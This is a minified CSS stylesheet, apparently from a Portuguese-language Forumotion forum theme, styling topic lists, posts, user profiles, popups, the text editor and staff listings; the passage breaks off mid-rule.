dd{border:none!important}.forabg a.forumtitle,.forumbg a.topictitle{color:#39C}a.forumtitle2{color:#39C;display:block;font-weight:700;margin:10px 0}.forumbg .row .lastpost{width:27%}dd.lastpost{width:22%}.lastpost-user-avatar{float:left;height:40px;margin-right:10px;width:40px}.lastpost-infos{margin-left:50px}a.lastpost-link{display:block;max-width:100%}li.row dl{background-position:3px 50%!important}li.header dd.dterm{width:52%}.topiclist.topics .row dl dd.dterm{box-sizing:border-box;padding-right:100px;width:56%}li dl.forum-icon,ul.topiclist.search dl{background-position:0 0!important;background-repeat:repeat-y}dl.forum-icon:before,ul.topiclist.search dl:before{color:#fff;content:'\f0e6';font-family:FontAwesome;font-size:18px;left:7px;position:absolute;top:36%}dl.forum-links:before{content:'\f0c1'!important}dl.forum-icon[style*=lock]:before,ul.topiclist.search dl[style*=lock]{content:'\f023';left:10px}dl.forum-icon[style*=note]:before,ul.topiclist.search dl[style*=note]{content:'\f024';left:7px}dl.forum-icon[style*=announce]:before,ul.topiclist.search dl[style*=announce]{content:'\f12a';left:13px}dl.forum-icon[style*=globale]:before,ul.topiclist.search dl[style*=globale]{content:'\f0ac';left:9px}ul.pmlist dl.forum-icon::before{top:27%}button.mp-button{background-color:#369fcf;border:0;border-radius:21px;color:#fff;cursor:pointer;font-size:18px;height:29px;text-align:center;width:29px}.pm-topic img{display:none}.dterm .span-tab{padding-left:4px}.row .dterm[style]{background-position:100% 55%}div.topic-title-container{display:inline-block;vertical-align:top}.desc-icon,.postprofile,.postprofile dd,.postprofile dd:last-child,.postprofile dt+dd{text-align:center}#fa_search_settings label,.outer .middle,div.post div.postbody .topic-title img{vertical-align:middle}.desc-icon{background-color:#369FCF;border-radius:69px;box-sizing:border-box;color:#fff;float:left;font-size:27px!important;height:50px;margin-left:5px;margin-right:15px;margin-top:-20px;padding:12px 0;width:50px}h2.forum-title,h3.hierarchy.forum-title{display:inline-block;margin-left:70px;margin-top:0}.forum-desc{margin-top:7px}.forabg.cat-suporte .desc-icon,.forabg.cat-suporte li.header{background-color:#e6ad1d}.forabg.cat-diversos .desc-icon,.forabg.cat-diversos li.header{background-color:#71be47}.forabg.cat-team .desc-icon,.forabg.cat-team li.header{background-color:#2E3133}div.post{background-color:#FAFAFA;border:1px solid #DDD;border-bottom-width:2px;border-radius:3px;margin:10px 0;padding:0}div.post .inner{border-top:12px solid #DDD;padding:0 10px}div.post div.postbody{margin-bottom:10px;margin-top:10px}div.post div.postbody .content{overflow:visible}div.post h2.topic-title>a{display:inline-block;max-width:50%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}div#overlay,div#overlay-container{display:none}div.post ul.profile-icons{margin-right:20px;margin-top:0}.postbody .content.clearfix div{word-wrap:break-word}.attachbox{background-color:#eee;padding:10px 10px 0}.attachbox .i_icon_delete{vertical-align:middle;width:15px}.outer,div#overlay{height:100%;left:0;position:fixed;top:0;width:100%;z-index:999}.attachbox dt{font-size:.9em}.attachbox dl.file{border-top:1px solid #ddd;margin-top:3px;padding-top:4px}.post.search .postbody img,.postbody .content img{max-width:350px}.post.search .postbody img.resized,.postbody .content img.resized{cursor:zoom-in}div#overlay{background-color:#444;opacity:.6}.outer{display:table}.outer .middle{display:table-cell}.outer .middle .inner{margin-left:auto;margin-right:auto;text-align:center}#overlay-content i.fa-pulse{background-color:#fff;border-radius:35px;display:block;font-size:30px;margin:auto;padding:20px;width:30px}#overlay-content img{background-color:#eee;border-radius:3px;cursor:zoom-out;display:inline-block;margin:auto;padding:3px}#overlay-content>span::after{background-color:#333;border-radius:20px;box-sizing:border-box;color:#fff;content:"\f00d";cursor:pointer;display:inline-block;font-family:FontAwesome;font-size:17px;height:25px;margin-left:-10px;margin-top:-10px;padding-top:3px;position:absolute;width:25px}div.postprofile div.cadre_avatar img{max-width:150px}.postprofile{background:url(https://i.servimg.com/u/f18/18/45/41/65/row10.png) repeat-x #F6F6F6;border:1px solid #DDD;border-radius:3px;margin-bottom:10px;padding:60px 3px 3px;position:relative}.postprofile dd,.postprofile dt{margin:0}.postprofile dd{color:#333}.postprofile .label,.postprofile .label span{color:#39C!important}.postprofile dd span+img{display:inline-block;margin-top:10px}.postprofile dd:last-child img,.postprofile dt+dd img{display:inline-block}.profile-icons a[href*="/report?mode=lock"],.profile-icons a[href*="/report?mode=unlock"],.search.post .postprofile:after,.search.post .postprofile:before,form[action^="/privmsg"] .postprofile:after,form[action^="/privmsg"] .postprofile:before{display:none}#first-post-br,hr,hr.dashed{border-color:#DDD}#plus_menu{background:#FFF;border:1px solid #DDD;border-radius:3px;box-shadow:0 3px 9px rgba(0,0,0,.175);overflow:hidden;z-index:10!important}#plus_menu .title-overview{background:#39C;color:#FFF}.postprofile img{max-width:100%}.faq-off{table-layout:fixed!important}.faq-fin,.faq-off .faq-fa{width:0}table.forumline,table.table1{border:1px solid #DDD;border-radius:3px;border-spacing:0;overflow:hidden;padding:0}table.forumline tbody td.catHead,table.forumline tr:hover td.catHead,table.table1 tbody th,table.table1 thead{background:#39C}table.forumline tbody td.catHead a,table.table1 tbody th a,table.table1 thead th a{color:#FFF!important}table.forumline tbody td.catHead a:hover,table.table1 tbody th a:hover,table.table1 thead th a:hover{color:#333!important}table.forumline tbody td.catHead,table.table1 tbody th,table.table1 thead th{border:none!important;color:#FFF!important;padding:6px;text-align:left}table.forumline tbody tr,table.table1 tbody tr{background:#F2F2F2}table.forumline tbody tr:hover,table.table1 tbody tr:hover{background:#F7F7F7}table.forumline td,table.forumline th,table.table1 td{background:0 0;border-bottom:1px solid #DDD;border-right:1px solid #DDD;border-top:none!important}div.post .postprofile:after{background:#2E3133;border-bottom:4px solid #868686;content:".";font-size:0;height:16px;left:0;position:absolute;right:0;top:25px;z-index:1}div.post.online .postprofile:after{border-color:#84C754}div.post .postprofile:before{content:url(https://i.servimg.com/u/f18/16/89/96/68/offlin19.png);left:0;position:absolute;right:0;top:25px;z-index:2}div.post.online .postprofile:before{content:url(https://i.servimg.com/u/f18/16/89/96/68/online15.png)}.module .box-content .mod-login-avatar{float:none;text-align:center}#userAvatar,.avatar,.lastpost-avatar,.mod-login-avatar dt,td.avatar-mini img{background:#FFF;border-radius:100px;box-shadow:0 2px 3px rgba(0,0,0,.3),0 -1px 1px rgba(0,0,0,.3);display:inline-block;height:100px;margin:10px 0;overflow:hidden;padding:3px;width:100px}.friend-block{width:65px}.friend-block .avatar{margin:0 10px}.avatar,.avatar img{height:40px;width:40px}.lastpost-avatar{margin:0 5px 0 0;padding:0!important}.avatar,td.avatar-mini img{margin:0;padding:1px}.avatar{margin-top:2px!important}.avatar,.lastpost-avatar,td.avatar-mini img{border:1px solid #DDD;box-shadow:none}.lastpost-avatar,.lastpost-avatar img,td.avatar-mini img{height:36px;width:36px}#main-content>div.post.search .postprofile dt.author>a{background:0 0;border-radius:0;box-shadow:none;display:inline;height:0;margin:0;overflow:visible;padding:0;width:0}.module,.panel{background:#FAFAFA;border:1px solid #DDD;border-bottom-width:2px;border-radius:3px}.module .h3{background:#39C;color:#FFF;margin:0 -10px 10px;padding:6px 3px;text-align:center;text-transform:none}.panel div.mes-txt,.panel p{font-size:12px}.module .h3 span{color:#FFF!important}.module .box-content .mod-login{margin:0;width:100%}.module .box-content .mod-login dd strong{font-weight:400}.module .box-content .mod-login dt{color:#39C;font-weight:700;text-align:right}.module .box-content .mod-login dd,.module .box-content .mod-login dt{display:inline-block;width:50%}.module td{background:0 0}.module table[summary]{border-spacing:0}.module table[summary]>tbody>tr>td{border-bottom:1px solid #E2E2E2;padding:3px}#cp-main .panel.sig{background:0 0;border:none;box-shadow:none}dl.faq dd p{border-color:#CCC}div#left{margin-right:16px;margin-top:25px}.inputbox,input.bginput,input.post,input.tiny,select,textarea{background:#FFF;border:1px solid #CCC;border-radius:3px;color:#444;padding:3px}.inputbox:hover,input.bginput:hover,input.post:hover,input.tiny:hover,select:hover,textarea:hover{border-color:#39C}.inputbox:focus,input.bginput:focus,input.post:focus,input.tiny:focus,select:focus,textarea:focus{border-color:#333;outline:0}#profile-advanced-add a,a.button1,a.button2,button.button2,input.button,input.button1,input.button2{background:#39C;border:none;border-bottom:2px solid #17A;border-radius:3px;color:#FFF!important;display:inline-block;font-size:11px;font-weight:700;line-height:normal!important;margin:2px;padding:6px 9px!important;transition:.3s}#login_popup_buttons .button2,#profile-advanced-add a[href^="/profile?friend"]{background:#8B5;border-color:#693;text-align:center;width:182px}#profile-advanced-add a[href^="/profile?foe"]{background:#E53;border-color:#C31;text-align:center;width:182px}#profile-advanced-add a[href*=remove]{background:#EB3;border-color:#C91}#profile-advanced-add a:hover,a.button1:hover,a.button2:hover,button.button2:hover,input.button1:hover,input.button2:hover,input.button:hover{background:#333;border:none;border-bottom:2px solid #111;color:#FFF}#welcome_fdf{color:#fff;display:inline-block;float:left;font-family:sans-serif;font-size:15px;font-weight:700;padding-top:15px}#welcome_fdf>span{float:left;margin-right:10px;width:160px}#search-box #search input[type=submit]{background:url(https://i.imgur.com/rvy4kOU.png) 14px 10px/40% auto no-repeat #2E3133;border:0;border-radius:0 4px 4px 0;color:transparent!important;font-size:.1px;height:44px;margin-right:3px;position:relative;width:50px!important}#forum-search .inputbox,#search .inputbox,#search_menu .inputbox,.inputbox.desc_search_input{background:#FFF;border:1px solid #39C;border-radius:3px 0 0 3px;height:22px;margin-right:-2px;padding:3px}#search-box #keywords{font-family:Helvetica;font-size:15px;height:40px;padding:2px 10px;width:300px}#forum-search .inputbox,.inputbox.desc_search_input{margin-right:-6px}.desc_search_input{width:125px!important}.search-box{margin:-3px 0 0 10px}.desc-search{float:right;margin:0;opacity:0;transition:.3s;visibility:hidden;width:auto}.row:hover .desc-search{opacity:1;visibility:visible}#search_menu{background:#FFF;border:1px solid #DDD;border-radius:3px;box-shadow:0 6px 12px rgba(0,0,0,.175);font-size:10px;font-weight:400;overflow:hidden}#search_menu .title-overview{background:#39C;color:#FFF;font-weight:700;padding:10px}#search_menu input.medium{border-radius:3px;float:left;margin-bottom:10px;margin-top:8px;width:80%}#search_menu .button1{margin-bottom:10px;margin-left:10px;margin-top:8px}input#rposts{margin-left:5px}#search{position:relative}#fa_search_opts{background:url(https://i.servimg.com/u/f21/18/45/41/65/opts_m10.png) no-repeat;height:17px;position:absolute;right:35px;top:9px;width:16px}#fa_search_opts:hover{background-position:-16px 0}#fa_search_settings{background:#FFF;border:1px solid #DDD;border-radius:3px;box-shadow:0 3px 9px rgba(0,0,0,.175);color:#333;padding:3px;position:absolute;right:0;text-align:center;top:45px;width:175px;z-index:1}#fa_search_settings:before{content:url(https://i.servimg.com/u/f18/18/21/41/30/arrow11.png);position:absolute;right:32px;top:-10px}#fa_search_settings p{font-size:11px}#fa_search_settings label{cursor:pointer;padding:0 6px 0 3px}#tabs{background:#FFF;border:1px solid #DDD;border-bottom:none;border-radius:3px 3px 0 0;margin:20px 10px 0 7px;overflow:hidden}#tabs a span{color:#333;padding:0}#tabs .activetab a:hover span,#tabs a:hover span{color:#39C}#tabs a{background:url(https://i.servimg.com/u/f18/18/45/41/65/nav10.png) 0 28px repeat-x;border-right:1px solid #DDD;height:28px;line-height:28px;margin:0;padding:0 12px;transition:.2s}#tabs a:hover{background-color:transparent;background-position:0 25px}#tabs .activetab a span{color:#39C;padding:0}#tabs .activetab a{background-color:transparent;background-position:0 25px!important;cursor:default}#profile-advanced-layout #tabs #new-message-link{top:-35px}#profile-advanced-layout #tabs #new-message-link a{border:none;padding:0}#profile-tab-field-profil dl dt,#profile-tab-field-profil dl dt span,#ucp fieldset dl dt label,#ucp fieldset dt,#ucp fieldset dt span{color:#39C!important;font-weight:700}#ucp fieldset dl:hover dt,#ucp fieldset dl:hover dt label,#ucp fieldset dl:hover dt span{color:#333!important}#profile-advanced-details .message-header{background:0 0;border:none}#profile-advanced-details ol>li{background:#FFF;border:1px solid #DDD;border-bottom-width:2px;border-radius:3px;margin:10px 0;padding:6px}.row .pagination{background:rgba(0,0,0,0);display:inline-block;float:none;font-size:.8em;margin-left:15px;margin-top:0;padding:0}.pagination span{display:inline-block;margin:6px 0}.pagination span a,.pagination span a:link,.pagination span a:visited,.pagination span strong{background:#FFF;border:none;border-radius:3px;color:#000;padding:3px 6px;transition:.3s}.pagination span a:active,.pagination span a:focus,.pagination span a:hover,.pagination span strong{background-color:#39C;border-color:#39C;color:#FFF}.pagination a.pag-img{background:0 0!important;border:none!important;padding:0!important}form[name=go_page] .forumline{background-color:#FFF;border:1px solid #CCC;border-radius:3px;box-shadow:0 3px 9px rgba(0,0,0,.175)}form[name=go_page] .forumline td{background:#FFF!important;border:none;padding:3px}form[name=go_page] th{background:#39C;border:none;color:#FFF;padding:3px}.message-block .message-text blockquote,.message-block .message-text dl.codebox,.panel .content dl.codebox,.panel .postbody .content blockquote,.panel .table .row1 blockquote,.panel .table1 .row1 dl.codebox,.post .postbody .content blockquote,.post .postbody .content dl.codebox,.search .postbody blockquote,.search .postbody dl.codebox{background:#e7edf3 none repeat scroll 0 0;border:0 none;border-radius:3px;color:#7089a9;font-size:1.1em;line-height:1.7;margin:1em 25px 1em 1em;padding:7px 15px}.post .postbody .content blockquote div{margin-left:0}.post blockquote cite{font-size:0}.post blockquote cite a{font-size:14.3px}blockquote cite{display:inline-block;font-size:1em}blockquote cite a,blockquote cite span{background-color:#fff!important;border-radius:4px!important;color:#7089a9!important;margin-right:10px!important;padding:2px 7px!important}blockquote cite a:before,blockquote cite span:before{content:'\f10e';font-family:FontAwesome;font-weight:400;padding-right:6px}.codebox.spoiler blockquote,blockquote div blockquote{background-color:#fff!important;font-size:1em!important}.post .postbody .content a.mentiontag,.post .postbody .content a[href^="/u"][title*="perfil"],.search .postbody a.mentiontag,.search .postbody a[href^="/u"][title*="perfil"]{background-color:#d8ecf5;border-radius:4px;color:#2d8cbb;font-weight:600;padding:4px 5px}dl.codebox:not(.spoiler){background-color:#272822!important;padding-right:0!important;text-shadow:1px 1px 0 #1B1C18}dl.codebox code{color:#E6E1DC!important;font-family:"Ubuntu Mono", FontAwesome;font-size:12pt}dl.codebox:not(.spoiler) dt{display:none}dl.codebox.spoiler dt{border-bottom:0 none}dl.codebox.hidecode a,dl.codebox.hidecode a:hover{color:#fff}dl.codebox .fa.fa-clipboard{color:#fff;cursor:pointer;float:right;left:-35px;position:relative}#fa_toolbar{border-bottom:1px solid #CCC}#fa_icon{background-image:url(https://i.servimg.com/u/f21/18/21/41/30/pa1110.png)!important}#fa_service{color:#39c!important;font-family:sans-serif;font-size:16px;font-weight:700;text-transform:uppercase}#fa_right #fa_menu #fa_welcome,#fa_right #fa_notifications,#fa_right a.rightHeaderLink{background-color:transparent!important;border:1px solid #39C!important;border-radius:3px!important;color:#39C!important;font-size:11px!important;font-weight:700!important;line-height:22px!important;margin-top:3px!important;padding:0 6px!important;text-decoration:none!important;transition:200ms}#fa_welcome > img{height:16px}#fa_right #fa_menu #fa_welcome:hover,#fa_right #fa_notifications:hover,#fa_right a.rightHeaderLink:hover,#fa_right.welcome #fa_menu #fa_welcome,#fa_toolbar > #fa_right.notification > #fa_notifications{background-color:#39C!important;border-color:#39C!important;color:#FFF!important}#fa_right #fa_hide{background-color:transparent!important;border:none!important;margin-top:0!important;padding:0!important;transition:none!important}#fa_toolbar #fa_left #fa_service{text-decoration:none!important}#fa_share a{background:url(https://i.imgur.com/xZ2dciB.png) no-repeat 0 0 transparent!important;border-radius:25px;height:25px!important;margin:-2px 3px 0!important;width:25px!important}#fa_share_text{display:none}#fa_share a:after{background:transparent;border-radius:30px;content:".";display:block;font-size:0;height:35px;margin-left:-5px;margin-top:-5px;position:absolute;transition:250ms;width:35px;z-index:-1}#fa_share a:hover:after{height:25px;margin-left:0;margin-top:0;width:25px}a#fa_fb{background-position:-50px 0!important}a#fa_fb:hover{background-position:-75px 0!important}a#fa_twitter{background-position:0 0!important}a#fa_twitter:hover{background-position:-25px 0!important}a#fa_gp{background-position:-98px 0!important}a#fa_gp:hover{background-position:-123px 0!important}a#fa_mail{background-position:-150px 0!important}a#fa_mail:hover{background-position:-175px 0!important}a#fa_rss{background-position:-199px 0!important}a#fa_rss:hover{background-position:-224px 0!important}#fa_search{position:relative}#fa_search #fa_magnifier{background:url(https://i.servimg.com/u/f21/18/21/41/30/search10.png) no-repeat 50% 50% #39C!important;border:1px solid #39C;border-left:none;border-radius:0 3px 3px 0;height:22px!important;right:0;top:3px;width:22px!important}#fa_search #fa_textarea{background:#39C!important;border:1px solid #39C!important;border-radius:3px 0 0 3px!important;color:#39C!important;cursor:text;font-size:12px!important;height:16px!important;line-height:12px!important;margin-right:23px!important;padding:3px 0 3px 1px !important;transition:300ms;width:0!important}#fa_search #fa_textarea:focus,#fa_search #fa_textarea:hover,#fa_search:hover #fa_textarea{background:#FFF!important;color:#444!important;outline:none;padding:3px!important;width:150px!important}#fa_menulist,#fa_toolbar #fa_right #notif_list{background:#FFF!important;border:1px solid #DDD!important;border-radius:3px;box-shadow:0 6px 12px rgba(0,0,0,0.175);margin-top:18px!important}#fa_menulist:before,#fa_toolbar #fa_right #notif_list:before{content:url('https://i.servimg.com/u/f18/18/21/41/30/arrow11.png');position:absolute;right:10%;top:-10px}#fa_toolbar #fa_right #notif_list li.see_all{background:#39C!important}#fa_toolbar #live_notif .fa_notification{background:#FFF!important;border:1px solid #DDD;border-bottom-width:2px;border-radius:3px!important;box-shadow:0 3px 12px rgba(0,0,0,0.175);margin-top:5px;opacity:1!important}#fa_toolbar #live_notif .fa_notification .content{background-image:url(https://i.servimg.com/u/f18/16/89/96/68/notifi10.png)!important;color:#555!important}#fa_toolbar #live_notif .fa_notification a{color:#39C!important}#fa_toolbar #live_notif .fa_notification a:hover{color:#333!important}#notif_unread{color:#F93;font-weight:700}#fa_notifications:hover #notif_unread,#fa_toolbar > #fa_right.notification > #fa_notifications #notif_unread{color:#FFF}#fa_hide,#fa_show{background:url(https://i.servimg.com/u/f21/18/21/41/30/fa_arr10.png) no-repeat 0 0 transparent!important}#fa_hide:hover{background-position:-30px 0!important}#fa_show{background-position:-60px 0!important}#fa_show:hover{background-position:-90px 0!important}#i_msg_inbox,#i_msg_outbox,#i_msg_savebox,#i_msg_sentbox{background:url(https://i.servimg.com/u/f18/18/21/41/30/fa_inb10.png) no-repeat 0 0 transparent;height:40px;width:40px}#i_msg_inbox{background-position:0 0}#i_msg_inbox:hover,#privmsgs-menu > li:nth-child(1) > img,#privmsgs-menu > li:nth-child(1):hover img{background-position:-40px 0}#i_msg_sentbox{background-position:-80px 0}#i_msg_sentbox:hover,#privmsgs-menu > li:nth-child(2) > img,#privmsgs-menu > li:nth-child(2):hover img{background-position:-120px 0}#i_msg_outbox{background-position:-160px 0}#i_msg_outbox:hover,#privmsgs-menu > li:nth-child(3) > img,#privmsgs-menu > li:nth-child(3):hover img{background-position:-200px 0}#i_msg_savebox{background-position:-240px 0}#i_msg_savebox:hover,#privmsgs-menu > li:nth-child(4) > img,#privmsgs-menu > li:nth-child(4):hover img{background-position:-280px 0}.social-button{background-color:rgba(0,0,0,0.3);border-radius:3px;box-sizing:border-box;color:#fff!important;display:inline-block;font-size:17px;height:32px;margin:3px;padding:7px;text-align:center;transition:250ms background-color;width:32px}.social-button:hover{background-color:#000}#fa_share a#fa_fb:hover::after,.social-button.fb-but:hover{background-color:#3B5998}#fa_share a#fa_twitter:hover::after,.social-button.tw-but:hover{background-color:#5EA9DD}#fa_share a#fa_gp:hover::after,.social-button.gp-but:hover{background-color:#DD4B39}#fa_share a#fa_mail:hover::after,.social-button.pi-but:hover{background-color:#B00}.social-button.yt-but:hover{background-color:#E52C27}#fa_share a#fa_rss:hover::after,.social-button.rs-but:hover{background-color:#FAA21B}.sceditor-container{background-color:#FFF!important;border-color:#39c!important}.sceditor-container iframe,.sceditor-container textarea{background:url(https://i.imgur.com/6mNXkP7.png) no-repeat 50% 50% transparent!important}div.sceditor-toolbar{background-color:#39c!important;border-color:#39c!important}div.sceditor-group{background:#FFF!important;border:1px solid #DDD!important;overflow:hidden;padding:0!important}.sceditor-button{background:#FFF!important;border-radius:0!important;border-right:1px solid #DDD}div.sceditor-group > .sceditor-button:last-child{border:none}.hover,.sceditor-button.active,.sceditor-button:active,.sceditor-button:hover{background:#FFA!important;box-shadow:none!important}div.sceditor-dropdown .button{color:#444!important}#quick_reply #textarea_content{width:70%!important}#sce_smilies_body,#sceditor_smilies,#smiley-box,#smiley-box iframe,.sceditor-emoticon iframe,.smile-status-box,.smile-status-box iframe{background:none!important}#login_popup{background:#FFF;background-color:#e5f1f9;border:1px solid #DDD;border-radius:10px;box-shadow:1px 1px 40px #000;font-size:11px;overflow:hidden;padding-bottom:40px}#login_popup .h3{background:#39C;border:none;color:#FFF;margin:-6px -7px 10px;padding:6px 3px;text-align:center}#login_popup_buttons{left:6px}#login_popup_buttons .button2{float:right}#fa_popup_overlay{background-color:#333;bottom:0;left:0;opacity:.8;position:fixed;right:0;top:0}#fa_popup{background:#222;border-radius:3px;bottom:30px;box-shadow:0 3px 10px rgba(34,25,25,0.4);font-family:Verdana, Arial, Helvetica, sans-serif;font-size:10px;left:12%;overflow:hidden;padding:3px;position:fixed;right:12%;top:50px;width:auto}#fa_popup_content{border:1px solid #333;border-radius:3px;height:90%;overflow:auto;padding:3px}.fa_popup_title{border-bottom:1px solid #999;color:#999;font-family:"Trebuchet MS", Arial, Verdana, Sans-serif;font-size:12px;font-weight:700;margin:8px 0;padding-bottom:2px}a.fa_popup_button,input.fa_popup_button{background-color:#17A;border:none;border-bottom:2px solid #058;border-radius:3px;color:#FFF!important;cursor:pointer;display:inline-block;font-size:12px;font-weight:700;line-height:20px;padding:0 6px;text-decoration:none!important;text-indent:0;transition:300ms}input.fa_popup_close{background-color:#C31;border-color:#A10;min-width:25px;position:absolute;right:2px;top:2px}a.fa_popup_button:hover,input.fa_popup_button:hover{background-color:#666;border-color:#444}a.fa_popup_button:active,a.fa_popup_button:focus,input.fa_popup_button:focus{background-color:#C93;border-color:#A91;outline:none}.fa_popup_error{background:#966;border:1px solid #855;border-bottom-width:2px;border-radius:3px;color:#300;font-size:12px;margin:6px;padding:9px 6px}.fa_popup_friends{background:#444;border:1px solid #333;border-bottom-width:2px;border-radius:3px;display:inline-block;float:none;margin:3px;overflow:hidden;padding:3px}#fa_popup .add_success{color:#8B5}#fa_popup .deny_success{color:#E53}#fa_popup .add_failed{color:#EB5}.fa_popup_loading{color:#999;font-size:14px;font-weight:700;padding:25px;text-align:center}.fa_popup_more{clear:both;margin:3px;text-align:center}#fa_popup_content > td{display:block}#fa_popup.pun tbody.statused span.status{position:static}.fa-rols{margin-top:-30px!important}#fa_ticker_block{padding-top:12px;position:relative}#fa_ticker_block:before{left:10px;position:absolute;top:0}#fa_ticker_block .module{background:#369FCF;border:none;border-radius:0;box-shadow:none;color:#FFF;font-size:11px;margin:10px 0;padding:6px 0;position:relative}#fa_ticker_block .module a{color:#fff;text-decoration:none!important}#fa_ticker_block .module a:hover{color:#fff}.post.st-answer .inner{border-color:rgba(51,153,204,0.75)}.post.st-answer.admin .inner{border-color:#EF3333}.post.st-answer.modo .inner{border-color:#68b800}.post.st-answer.aida .inner{border-color:#F5AE42}.post.st-answer.crea .inner{border-color:#787DEA}.post.st-answer.revi .inner{border-color:#009FB9}.post.st-answer.dev .inner{border-color:#2E3133}.post.st-answer.topicit .inner{border-color:#289cdb}span.st-rang.topicit{background:#289cdb;border-radius:3px;color:#fff;cursor:pointer;font-weight:700;padding:5px}span.st-rang.topicit:hover{background:#2e3133}.post-table{background:#EEE;border:1px solid #CCC;border-spacing:0;color:#333;width:100%}.post-table td{border-bottom:1px solid #CCC;border-right:1px solid #CCC;padding:3px 6px}#fa_notice{background:#FFF url(https://i.servimg.com/u/f18/18/21/41/30/bull-f10.png) no-repeat 10px 50%;border:1px solid #39C;border-radius:3px;color:#333;font-family:Verdana, Helvetica, Sans-serif;font-size:13px;margin:12px 0;padding:25px 6px 25px 70px}#fa_notice.noti_warn{background-color:#FEE;background-image:url(https://i.servimg.com/u/f18/18/21/41/30/warn-f10.png);border-color:#C99;color:#933}#cp-main .panel.sig::before,#cp-main .panel.sig:before{background:#F5F5F5;border:1px solid #DDD;border-bottom-width:2px;border-radius:3px;color:#E53;content:'Atenção: A sua alteração será salva, no entanto, apenas os membros da equipe podem exibir a suas assinaturas neste fórum.';display:block;font-weight:700;margin:6px 0;padding:6px;text-align:center}#fa_popup_content #main-content .topic-actions,#fa_popup_content .pag-img,#fa_popup_content .post .vote,#fa_popup_content .right,#fa_popup_content .right-box,#fa_popup_content form[action="/memberlist"]{display:none}li.thumb-msg span.thumb-up{background-color:#73BC4E!important;border-radius:24px;box-sizing:border-box;color:#DAEDD1;display:inline-block!important;font-size:1.4em;font-weight:700;height:29px;padding:6px 9px}li.thumb-msg span a{color:#FFF}div.sceditor-dropdown.sceditor-presets{padding:0;width:175px}.sceditor-presets .group{border-bottom:1px solid #CCC;height:150px;overflow-y:auto}.sceditor-presets a.toggler{border-bottom:1px solid #CCC;font-size:11px;font-weight:700}.sceditor-presets i{font-size:14px;margin-right:5px;text-align:center;width:20px}.sceditor-presets img{margin-right:5px;vertical-align:middle;width:15px}.sceditor-container textarea{font-family:Verdana,Arial,Helvetica,sans-serif,FontAwesome!important}.sceditor-button-fontawesome div{background:url(https://i.servimg.com/u/f19/19/06/98/92/fa-f10.png)!important}.sceditor-fontawesome{height:250px;overflow-y:auto;width:220px}.sceditor-fontawesome i{color:#333;cursor:pointer;font-size:20px;padding:3px 0;text-align:center;width:25%}.sceditor-fontawesome i:hover{color:#666}.post-button a{-webkit-transition:.3s;background-color:#39C;border:1px solid #39C;border-radius:3px;color:#FFF;display:inline-block;font-weight:700;padding:6px 12px;text-decoration:none;transition:.3s}.post-button.red a{background-color:#E53;border-color:#E53}.post-button.green a{background-color:#8C5;border-color:#8C5}.post-button.yellow a{background-color:#EB3;border-color:#EB3}.post-button a:hover{background-color:#28B}.post-button.red a:hover{background-color:#D42}.post-button.green a:hover{background-color:#7B4}.post-button.yellow a:hover{background-color:#DA2}.post-button a:active,.post-button a:focus{background-color:#333!important;border-color:#222!important}.post-button i{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-family:FontAwesome;font-size:inherit;font-style:normal;font-variant:normal;font-weight:400;line-height:1;text-rendering:auto;transform:translate(0,0)}.content,body{font-family:Verdana,Arial,Helvetica,sans-serif}.creationForm{background:#EEE;border:1px solid #CCC;border-radius:3px;box-shadow:0 6px 12px rgba(0,0,0,.176);color:#444;padding:6px;position:absolute;z-index:100}#fa_widget_toggle,.creationForm a{border-radius:3px;font-weight:700;text-align:center}.creationForm a{background:#369FCF;color:#FFF;margin:3px 0;padding:3px;text-transform:uppercase;width:auto!important}.creationForm a:hover{background:#2A87B2}.rang-1{color:#39C}.rang-2{color:#333}.rang-2::before,.rang-2:before{color:#39C;content:"m";overflow:hidden;position:absolute;width:6px}.rang-3{color:#BBB}a.markSolved,a.markSolved:active,a.markSolved:focus{background-color:#8C5;border-color:#8C5;padding:5px 12px!important}a.markSolved:hover{background-color:#7B4;border-color:#6A3}a.markSolved.marked{opacity:.5}a.markSolved i{font-size:13px}.codebox dt .code-a{color:#FFF;float:right;text-decoration:underline;text-transform:none}.codebox dt .code-a:hover{text-decoration:none}#fa_widget_toggle{background:#39C;border-bottom:2px solid #17A;color:#FFF;display:inline-block;font-size:12px;margin-top:20px;padding:0 6px;transition:.3s}#fa_widget_toggle:hover{background-color:#333;border-color:#111}#fa_widget_toggle:active,#fa_widget_toggle:focus{background-color:#8B5;border-color:#693}ul table.tag{background-color:#d8ecf5;border-radius:4px;color:#2d8cbb!important;font-weight:600;padding:4px 5px}*{margin:0;padding:0}.post ul{list-style-type:disc}ul{list-style-type:none}.postbody .content{font-size:1.3em}.content{color:#555;font-size:1em;line-height:1.4em}.postbody{color:#555;line-height:1.48em}html{font-size:100%}.post table code{word-break:break-all}.module.mod_news .content table + br{display:none}.newStaffList,.staff-list{border-spacing:0}.portal{width:98%!important}#forum_rules td{line-height:23px;padding:10px}#forum_rules td.logo{width:50px}#forum_rules .logo img{padding-top:6px}#forum_rules .rules.content img{vertical-align:middle}.topiclist.topics dl.topic-unico{background-color:#ece0f1}.topiclist.topics dl.topic-solved{background-color:rgba(139,195,74,.33)}#superbottom div.module{float:right;margin-top:0;width:210px}#cp-main #memberlist tr td.posts:first-child,#cp-main form[action="/search?search_id=favouritesearch"] tr td.posts:first-child{width:40px}#cp-main #memberlist tr td.posts:first-child img,#cp-main form[action="/search?search_id=favouritesearch"] tr td.posts:first-child img{height:37px;width:40px}.staff-list .staff-rank img{float:right}.staff-description{background-color:#EF3333;color:#fff;font-family:sans-serif;padding:5px 10px}.staff-description.mod{background-color:#7BB92B}.staff-description.ajuda{background-color:#F5AE42}.staff-description.art{background-color:#787DEA}.staff-description.pub{background-color:#00B5D1}.newStaffList{border:1px solid #EEE;font-weight:700;table-layout:fixed;text-align:center;width:100%}.newStaffList.admin,.newStaffList.admin a{color:#EF3333}.newStaffList.mod,.newStaffList.mod a{color:#7BB92B}.newStaffList.ajuda,.newStaffList.ajuda a{color:#F5AE42}.newStaffList.art,.newStaffList.art a{color:#787DEA}.newStaffList.pub,.newStaffList.pub a{color:#00B5D1}.newStaffList tr td{background-color:#F7F7F7;padding-top:5px}.newStaffList tr td:nth-child(2n+2){background-color:#F2F2F2}.newStaffList tr:not(.newStaffListPM) img{border:3px solid #fff;border-radius:50%;box-shadow:0 1px 3px rgba(0,0,0,.3),0 0 1px rgba(0,0,0,.3);display:block;height:50px;margin:auto auto 10px;object-fit:cover;width:50px}.newStaffListPM 